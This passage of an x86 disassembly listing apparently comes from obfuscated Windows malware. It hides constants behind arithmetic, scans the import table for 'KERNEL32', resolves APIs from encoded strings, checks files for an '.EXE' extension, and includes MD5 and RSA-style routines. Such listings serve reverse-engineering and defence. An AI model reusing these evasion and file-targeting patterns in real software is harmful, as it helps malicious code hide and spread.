		mov	[ebp-4], eax
		jmp	loc_424DB8
; ---------------------------------------------------------------------------


loc_424C38:				; CODE XREF: .data:00424DC4j
		mov	eax, ebx
		add	eax, [ebp-0Ch]
		add	eax, [ebp-4]
		mov	[ebp-12Ch], eax
		mov	edx, ds:100141E0h
		add	edx, ds:10014184h
		sub	edx, 2
		cmp	[eax], edx
		jz	loc_424DCA
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp-130h], edx
		push	edx
		lea	eax, [ebp-127h]
		push	eax
		call	sub_425D7D
		mov	eax, ds:10014184h
		add	eax, ds:100141CCh
		sub	eax, 2
		mov	[ebp-28h], eax
		jmp	short loc_424CB0
; ---------------------------------------------------------------------------


loc_424C8E:				; CODE XREF: .data:00424CD0j
		mov	eax, [ebp-28h]
		mov	al, [ebp+eax-127h]
		cmp	al, 61h
		jle	short loc_424CAD
		cmp	al, 7Ah
		jge	short loc_424CAD
		mov	eax, [ebp-28h]
		lea	eax, [ebp+eax-127h]
		sub	byte ptr [eax],	20h


loc_424CAD:				; CODE XREF: .data:00424C9Aj
					; .data:00424C9Ej
		inc	dword ptr [ebp-28h]


loc_424CB0:				; CODE XREF: .data:00424C8Cj
		mov	eax, [ebp-28h]
		movsx	eax, byte ptr [ebp+eax-127h]
		movsx	edx, word ptr ds:10014130h
		movsx	ecx, word ptr ds:10014228h
		add	edx, ecx
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_424C8E
		mov	eax, ds:100140BCh
		add	eax, ds:100140CCh
		cmp	byte ptr [ebp+eax-12Fh], 4Bh
		jnz	loc_424DB4
		mov	eax, ds:10014234h
		cmp	byte ptr [ebp+eax-129h], 45h
		jnz	loc_424DB4
		mov	eax, ds:100141FCh
		add	eax, ds:100140ACh
		cmp	byte ptr [ebp+eax-12Eh], 52h
		jnz	loc_424DB4
		mov	eax, ds:1001416Ch
		cmp	byte ptr [ebp+eax-124h], 4Ch
		jnz	loc_424DB4
		mov	eax, ds:100141E4h
		add	eax, ds:100141ECh
		cmp	byte ptr [ebp+eax-128h], 33h
		jnz	short loc_424DB4
		mov	eax, ds:100140B0h
		add	eax, ds:100141ACh
		cmp	byte ptr [ebp+eax-12Eh], 32h
		jnz	short loc_424DB4
		mov	eax, [ebp-12Ch]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp-138h], edx
		mov	eax, ds:100140D4h
		mov	[ebp-134h], eax


loc_424D70:				; CODE XREF: .data:00424DB0j
		mov	eax, [ebp-138h]
		mov	esi, eax
		add	esi, [ebp-134h]
		mov	edi, [esi]
		mov	eax, ds:1001424Ch
		add	eax, ds:100140E0h
		sub	eax, 0Bh
		cmp	edi, eax
		jz	short loc_424DCA
		push	edi
		call	sub_422607
		pop	ecx
		cmp	dword ptr ds:10014254h,	0
		jnz	short loc_424DCA
		movsx	eax, word ptr ds:100141B8h
		dec	eax
		add	[ebp-134h], eax
		jmp	short loc_424D70
; ---------------------------------------------------------------------------
		jmp	short loc_424DCA
; ---------------------------------------------------------------------------


loc_424DB4:				; CODE XREF: .data:00424CE5j
					; .data:00424CF8j ...
		add	dword ptr [ebp-4], 14h


loc_424DB8:				; CODE XREF: .data:00424C33j
		mov	eax, [ebp-8]
		mov	eax, [eax+84h]
		cmp	[ebp-4], eax
		jb	loc_424C38


loc_424DCA:				; CODE XREF: .data:00424C57j
					; .data:00424D90j ...
		cmp	dword ptr ds:10014254h,	0
		jz	short loc_424E27
		call	sub_4241E2
		call	sub_422EEA
		call	sub_4234DB
		mov	edx, eax
		mov	[ebp-19h], dl
		movzx	eax, byte ptr [ebp-19h]
		mov	edx, ds:1001413Ch
		sub	edx, 6
		cmp	eax, edx
		jz	short loc_424E27
		lea	eax, [ebp-24h]
		push	eax
		movsx	eax, word ptr ds:10014190h
		sub	eax, 5
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		push	1000139Fh
		mov	eax, ds:100140DCh
		add	eax, ds:10014108h
		sub	eax, 9
		push	eax
		push	0
		call	dword ptr ds:10013D70h


loc_424E27:				; CODE XREF: .data:00424DD1j
					; .data:00424DF6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		mov	eax, 80004001h
		retn	18h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E34	proc near		; CODE XREF: .data:0041B31Fp
					; sub_41BD54+179p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		movsx	esi, word ptr ds:10014110h
		lea	eax, [ebp+var_4]
		push	eax
		push	10015C24h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, ds:1001416Ch
		sub	eax, 2
		cmp	edi, eax
		jz	short loc_424E6B
		xor	eax, eax
		jmp	short loc_424ED6
; ---------------------------------------------------------------------------


loc_424E6B:				; CODE XREF: sub_424E34+31j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, ds:10014124h
		add	eax, ds:10014134h
		sub	eax, 6
		cmp	edi, eax
		jnz	short loc_424ECB
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, ds:100141CCh
		add	eax, ds:10014238h
		sub	eax, 0Ah
		cmp	edi, eax
		jnz	short loc_424EC2
		mov	eax, ds:10014154h
		mov	esi, eax
		add	esi, ds:10014234h
		sub	esi, 5


loc_424EC2:				; CODE XREF: sub_424E34+7Cj
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_424ECB:				; CODE XREF: sub_424E34+59j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_424ED6:				; CODE XREF: sub_424E34+35j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424EDB	proc near		; CODE XREF: sub_41D579+18Fp

var_12110	= byte ptr -12110h
var_1210C	= word ptr -1210Ch
var_1210A	= word ptr -1210Ah
var_12108	= dword	ptr -12108h
var_12104	= byte ptr -12104h
var_12000	= word ptr -12000h
var_11FFE	= byte ptr -11FFEh
var_1FFF	= byte ptr -1FFFh
var_1FB3	= byte ptr -1FB3h
var_1FB2	= byte ptr -1FB2h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 12110h
		call	sub_425D5D
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_12104]
		push	eax
		call	sub_425D7D
		lea	ecx, [ebp+var_12104]
		or	eax, 0FFFFFFFFh


loc_424F03:				; CODE XREF: sub_424EDB+2Dj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_424F03
		mov	ebx, ds:10014198h
		sub	ebx, 8
		mov	esi, eax
		sub	esi, ebx
		mov	ebx, ds:10014234h
		movsx	edx, word ptr ds:100141C0h
		add	ebx, edx
		sub	ebx, 0Ch
		mov	[ebp+esi+var_12104], bl
		push	0
		mov	eax, ds:10014150h
		sub	eax, 2
		push	eax
		push	3
		push	0
		mov	eax, ds:100140A4h
		sub	eax, 9
		push	eax
		push	80000001h
		lea	eax, [ebp+var_12104]
		push	eax
		call	dword ptr ds:10013968h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_4251A0
		push	0
		lea	eax, [ebp+var_12110]
		push	eax
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	edi
		call	dword ptr ds:1000D02Ch
		mov	[ebp+var_12108], eax
		push	edi
		call	dword ptr ds:1001282Ch
		mov	eax, ds:10014124h
		movsx	edx, word ptr ds:10014128h
		add	eax, edx
		sub	eax, 7
		cmp	[ebp+var_12108], eax
		jz	loc_4251A0
		cmp	[ebp+var_1FFF],	4Ch
		jnz	loc_4251A0
		movzx	esi, [ebp+var_1FB3]
		movzx	ebx, [ebp+var_1FB2]
		movzx	ebx, bx
		shl	ebx, 8
		or	esi, ebx
		mov	[ebp+var_1210A], si
		movzx	eax, [ebp+var_1210A]
		movsx	edx, word ptr ds:100141F0h
		lea	eax, [eax+edx+4Ah]
		movsx	edx, word ptr ds:10014148h
		add	edx, ds:10014124h
		add	eax, edx
		mov	[ebp+var_12000], ax
		movzx	eax, [ebp+var_12000]
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:100140B0h
		sub	edx, 9
		cmp	eax, edx
		jz	loc_4251A0
		movzx	eax, [ebp+var_12000]
		mov	edx, ds:100141FCh
		add	edx, 4
		add	eax, edx
		movsx	eax, [ebp+eax+var_1FFF]
		mov	edx, ds:100141C4h
		add	edx, ds:100141E8h
		sub	edx, 7
		cmp	eax, edx
		jnz	loc_4251A0
		movzx	eax, [ebp+var_12000]
		movsx	edx, word ptr ds:10014164h
		mov	ecx, ds:1001422Ch
		lea	edx, [edx+ecx+8]
		mov	ecx, eax
		add	ecx, edx
		movzx	edx, [ebp+ecx+var_1FFF]
		movsx	esi, word ptr ds:10014148h
		movsx	ebx, word ptr ds:100141B8h
		lea	esi, [esi+ebx+0Ch]
		mov	ebx, eax
		add	ebx, esi
		movzx	esi, [ebp+ebx+var_1FFF]
		movzx	esi, si
		shl	esi, 8
		mov	ebx, edx
		or	ebx, esi
		mov	esi, ebx
		movzx	esi, si
		mov	ebx, eax
		add	ebx, esi
		mov	esi, ebx
		mov	[ebp+var_1210C], si
		movzx	eax, [ebp+var_1210C]
		lea	eax, [ebp+eax+var_1FFF]
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_425D7D
		lea	ecx, [ebp+var_11FFE]
		or	eax, 0FFFFFFFFh


loc_4250D0:				; CODE XREF: sub_424EDB+1FAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4250D0
		mov	edi, eax
		movsx	eax, word ptr ds:10014120h
		add	eax, ds:100141E4h
		sub	eax, 6
		mov	edx, edi
		sub	edx, eax
		cmp	[ebp+edx+var_11FFE], 2Eh
		jnz	short loc_425168
		mov	eax, ds:100141F8h
		add	eax, ds:1001424Ch
		sub	eax, 0Ch
		mov	edx, edi
		sub	edx, eax
		movsx	eax, [ebp+edx+var_11FFE]
		push	eax
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 45h
		jnz	short loc_425168
		mov	esi, ds:10014104h
		sub	esi, 2
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 58h
		jnz	short loc_425168
		mov	esi, ds:10014168h
		sub	esi, 8
		mov	ebx, edi
		sub	ebx, esi
		movsx	esi, [ebp+ebx+var_11FFE]
		push	esi
		call	dword ptr ds:1000D034h
		add	esp, 4
		cmp	eax, 45h
		jz	short loc_42516A


loc_425168:				; CODE XREF: sub_424EDB+21Aj
					; sub_424EDB+243j ...
		jmp	short loc_4251A0
; ---------------------------------------------------------------------------


loc_42516A:				; CODE XREF: sub_424EDB+28Bj
		push	1001485Ah
		call	sub_41B08F
		push	eax
		lea	edi, [ebp+var_11FFE]
		push	edi
		call	dword ptr ds:1000D024h
		mov	eax, ds:100141ACh
		add	eax, ds:100140F0h
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_11FFE]
		push	eax
		call	sub_423806
		add	esp, 14h


loc_4251A0:				; CODE XREF: sub_424EDB+84j
					; sub_424EDB+CAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424EDB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251A5	proc near		; CODE XREF: .data:0041AB22p
					; sub_41BF88+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_4251BA:				; CODE XREF: sub_4251A5+1Aj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4251BA
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax]
		or	eax, 0FFFFFFFFh


loc_4251CC:				; CODE XREF: sub_4251A5+2Cj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4251CC
		mov	esi, eax
		mov	eax, ds:100141ECh
		sub	eax, 6
		mov	[ebp+var_4], eax
		jmp	short loc_42523E
; ---------------------------------------------------------------------------


loc_4251E2:				; CODE XREF: sub_4251A5+9Fj
		mov	eax, ds:100140A8h
		movsx	edx, word ptr ds:10014220h
		mov	ebx, eax
		add	ebx, edx
		sub	ebx, 0Bh
		mov	eax, ds:100141F8h
		movsx	edx, word ptr ds:100140B4h
		mov	edi, eax
		add	edi, edx
		sub	edi, 0Ah
		jmp	short loc_425237
; ---------------------------------------------------------------------------


loc_42520A:				; CODE XREF: sub_4251A5+94j
		mov	eax, [ebp+var_4]
		add	eax, edi
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+edi]
		cmp	eax, edx
		jnz	short loc_42523B
		inc	ebx
		cmp	ebx, esi
		jnz	short loc_425236
		inc	[ebp+var_8]
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_8], eax
		jnz	short loc_425236
		mov	eax, [ebp+var_4]
		jmp	short loc_42524B
; ---------------------------------------------------------------------------


loc_425236:				; CODE XREF: sub_4251A5+7Fj
					; sub_4251A5+8Aj
		inc	edi


loc_425237:				; CODE XREF: sub_4251A5+63j
		cmp	edi, esi
		jb	short loc_42520A


loc_42523B:				; CODE XREF: sub_4251A5+7Aj
		inc	[ebp+var_4]


loc_42523E:				; CODE XREF: sub_4251A5+3Bj
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	short loc_4251E2
		mov	eax, 0FFFFh


loc_42524B:				; CODE XREF: sub_4251A5+8Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4251A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_425250	proc near		; CODE XREF: .data:0041A7C2p
		push	edi
		push	1001484Dh
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10010598h
		mov	ds:10014264h, eax
		test	eax, eax
		jnz	short loc_425283
		push	10014840h
		call	sub_41B08F
		pop	ecx
		push	eax
		call	dword ptr ds:10011208h
		mov	ds:10014264h, eax


loc_425283:				; CODE XREF: sub_425250+1Aj
		push	1001482Dh
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014264h
		call	dword ptr ds:100101ACh
		mov	ds:10013D98h, eax
		push	10014819h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014264h
		call	dword ptr ds:100101ACh
		mov	ds:100105D4h, eax
		push	10014809h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014264h
		call	dword ptr ds:100101ACh
		mov	ds:10010084h, eax
		push	100147F7h
		call	sub_41B08F
		push	eax
		push	dword ptr ds:10014264h
		call	dword ptr ds:100101ACh
		mov	ds:1001008Ch, eax
		push	100147E8h
		call	sub_41B08F
		add	esp, 14h
		push	eax
		push	dword ptr ds:10014264h
		call	dword ptr ds:100101ACh
		mov	ds:10013824h, eax
		pop	edi
		retn
sub_425250	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425315	proc near		; CODE XREF: sub_41F48F+13p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, ds:10015D24h
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_4253E0
		xor	edx, edx


loc_425345:				; CODE XREF: sub_425315+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_425357
		mov	edx, [ebp+arg_4]
		call	sub_425371


loc_425357:				; CODE XREF: sub_425315+38j
		lea	edx, ds:10015D24h
		call	sub_425371
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_425345
		popa
		pop	ebp
		retn	10h
sub_425315	endp

; ---------------------------------------------------------------------------
		db 2Eh,	8Bh, 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_425371	proc near		; CODE XREF: sub_425315+3Dp
					; sub_425315+48p
		lea	edi, ds:10015CE4h
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, ds:10015D24h
		call	sub_4253E0


loc_42538B:				; CODE XREF: sub_425371+5Dj
		lea	edi, ds:10015CE4h
		mov	ecx, 10h
		xor	eax, eax


loc_425398:				; CODE XREF: sub_425371+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_425398
		call	sub_4253F1
		bt	ds:10015D24h, ebx
		jnb	short loc_4253CD
		mov	esi, edx
		lea	edi, ds:10015CE4h
		xor	eax, eax
		mov	ecx, 10h


loc_4253BC:				; CODE XREF: sub_425371+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_4253BC
		call	sub_4253F1


loc_4253CD:				; CODE XREF: sub_425371+3Aj
		dec	ebx
		jns	short loc_42538B
		mov	edi, edx
		lea	esi, ds:10015CE4h
		mov	ecx, 10h
		rep movsd
		retn
sub_425371	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_425315+29p
					; sub_425371+15p
		mov	ebx, 1FFh


loc_4253E5:				; CODE XREF: sub_4253E0+Bj
		bt	[edi], ebx
		jb	short locret_4253ED
		dec	ebx
		jnz	short loc_4253E5

locret_4253ED:				; CODE XREF: sub_4253E0+8j
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 2Eh,	8Bh, 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_4253F1	proc near		; CODE XREF: sub_425371+2Ep
					; sub_425371+57p
		lea	esi, ds:10015CE4h
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_4253FF:				; CODE XREF: sub_4253F1+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_425428
		ja	short loc_42540C
		dec	ecx
		jns	short loc_4253FF


loc_42540C:				; CODE XREF: sub_4253F1+16j
		mov	esi, [ebp+14h]
		lea	edi, ds:10015CE4h
		xor	eax, eax
		mov	ecx, 10h


loc_42541C:				; CODE XREF: sub_4253F1+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_42541C

locret_425428:				; CODE XREF: sub_4253F1+14j
		retn
sub_4253F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_425429	proc near		; CODE XREF: sub_42547A+32p
					; sub_42547A+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_425429	endp


; =============== S U B	R O U T	I N E =======================================



sub_425436	proc near		; CODE XREF: sub_42547A+219p
					; sub_42547A+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_425436	endp


; =============== S U B	R O U T	I N E =======================================



sub_425443	proc near		; CODE XREF: sub_42547A+420p
					; sub_42547A+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_425443	endp


; =============== S U B	R O U T	I N E =======================================



sub_42544A	proc near		; CODE XREF: sub_42547A+627p
					; sub_42547A+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_42544A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425453	proc near		; CODE XREF: sub_41F4A9+73p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_425453	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42547A	proc near		; CODE XREF: sub_41F4A9+8Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	ds:10015D64h, eax
		mov	eax, [edi+4]
		mov	ds:10015D68h, eax
		mov	eax, [edi+8]
		mov	ds:10015D6Ch, eax
		mov	eax, [edi+0Ch]
		mov	ds:10015D70h, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425429
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425429
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425429
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425429
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425429
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425429
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425429
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425429
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425429
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425429
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425429
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425429
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425429
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425429
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425429
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425436
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425436
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425436
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425436
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425436
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425436
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425436
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425436
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425436
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425436
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425436
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425436
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_425436
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_425436
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_425436
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_425436
